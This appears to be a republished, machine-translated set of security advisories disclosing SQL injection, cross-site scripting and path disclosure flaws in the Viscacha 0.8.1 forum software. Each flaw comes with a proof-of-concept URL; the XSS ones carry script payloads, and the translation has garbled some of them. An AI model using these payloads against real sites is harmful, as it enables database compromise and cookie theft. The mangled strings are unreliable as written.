Viscacha 0.8.1 multiple defects and repair

Source: Internet
Author: User

Vulnerability ID: HTB22921
Reference: http://www.htbridge.ch/advisory/ SQL _injection_in_viscacha.html
Product: Viscacha
Vendor: MaMo Net (http://www.viscacha.org)
Vulnerable Version: 0.8.1
Vendor Notification: 24 March 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA-Ethical Hacking & Penetration Testing (http://www.htbridge.ch /)

Vulnerability Details:
The vulnerability exists due to failure in the "editprofile. php" script to properly sanitize user-supplied input.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit varous vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

[Code]
Http: // [host]/editprofile. php? Action = abos2 & digest [1SQL_CODE_HERE] = 1
[/Code]

Vulnerability ID: HTB22919
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_viscacha.html
Product: Viscacha
Vendor: MaMo Net (http://www.viscacha.org)
Vulnerable Version: 0.8.1
Vendor Notification: 24 March 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA-Ethical Hacking & Penetration Testing (http://www.htbridge.ch /)

Vulnerability Details:
The vulnerability exists due to failure in the "admin. php" script to properly sanitize user-supplied input.
User can execute arbitrary JavaScript code within the vulnerable application.
Successful exploitation of this vulnerability cocould result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

[Code]
Http: // [host]/admin. php? Action = designs & job = templates_file_history & file = <
Script> alert ("XSS"); </script>
Http: // [host]/admin. php? Action = designs & job = templates_file_revert & dir = "<s
Alert> alert ("XSS"); </script>
Http: // [host]/admin. php? Action = designs & job = templates_file_edit2 & dir = "<SC
Ript> alert ("XSS"); </script>
Http: // [host]/admin. php? Action = designs & job = templates_file_delete & dir = "<s
Alert> alert ("XSS"); </script>
Alert> http: // [host]/admin. php? Action = explorer & job = newdir & path = "<script> alert ("
XSS "); </script>
Alert> http: // [host] // admin. php? Action = explorer & job = chmod & path = "<script> alert ("
XSS "); </script>
[/Code]

Vulnerability ID: HTB22920
Reference: html "> http://www.htbridge.ch/advisory/path_disclosure_in_viscacha.html
Product: Viscacha
Vendor: MaMo Net (http://www.viscacha.org)
Vulnerable Version: 0.8.1
Vendor Notification: 24 March 2011
Vulnerability Type: Path disclosure
Risk level: Low
Credit: High-Tech Bridge SA-Ethical Hacking & Penetration Testing (http://www.htbridge.ch /)

Vulnerability Details:
The vulnerability exists due to failure in the "editprofile. php" script, its possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

The following PoC is available:

[Code]
Http: // [host]/editprofile. php? Action = addabo
Http: // [host]/editprofile. php? Action = removeabo
[/Code]

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.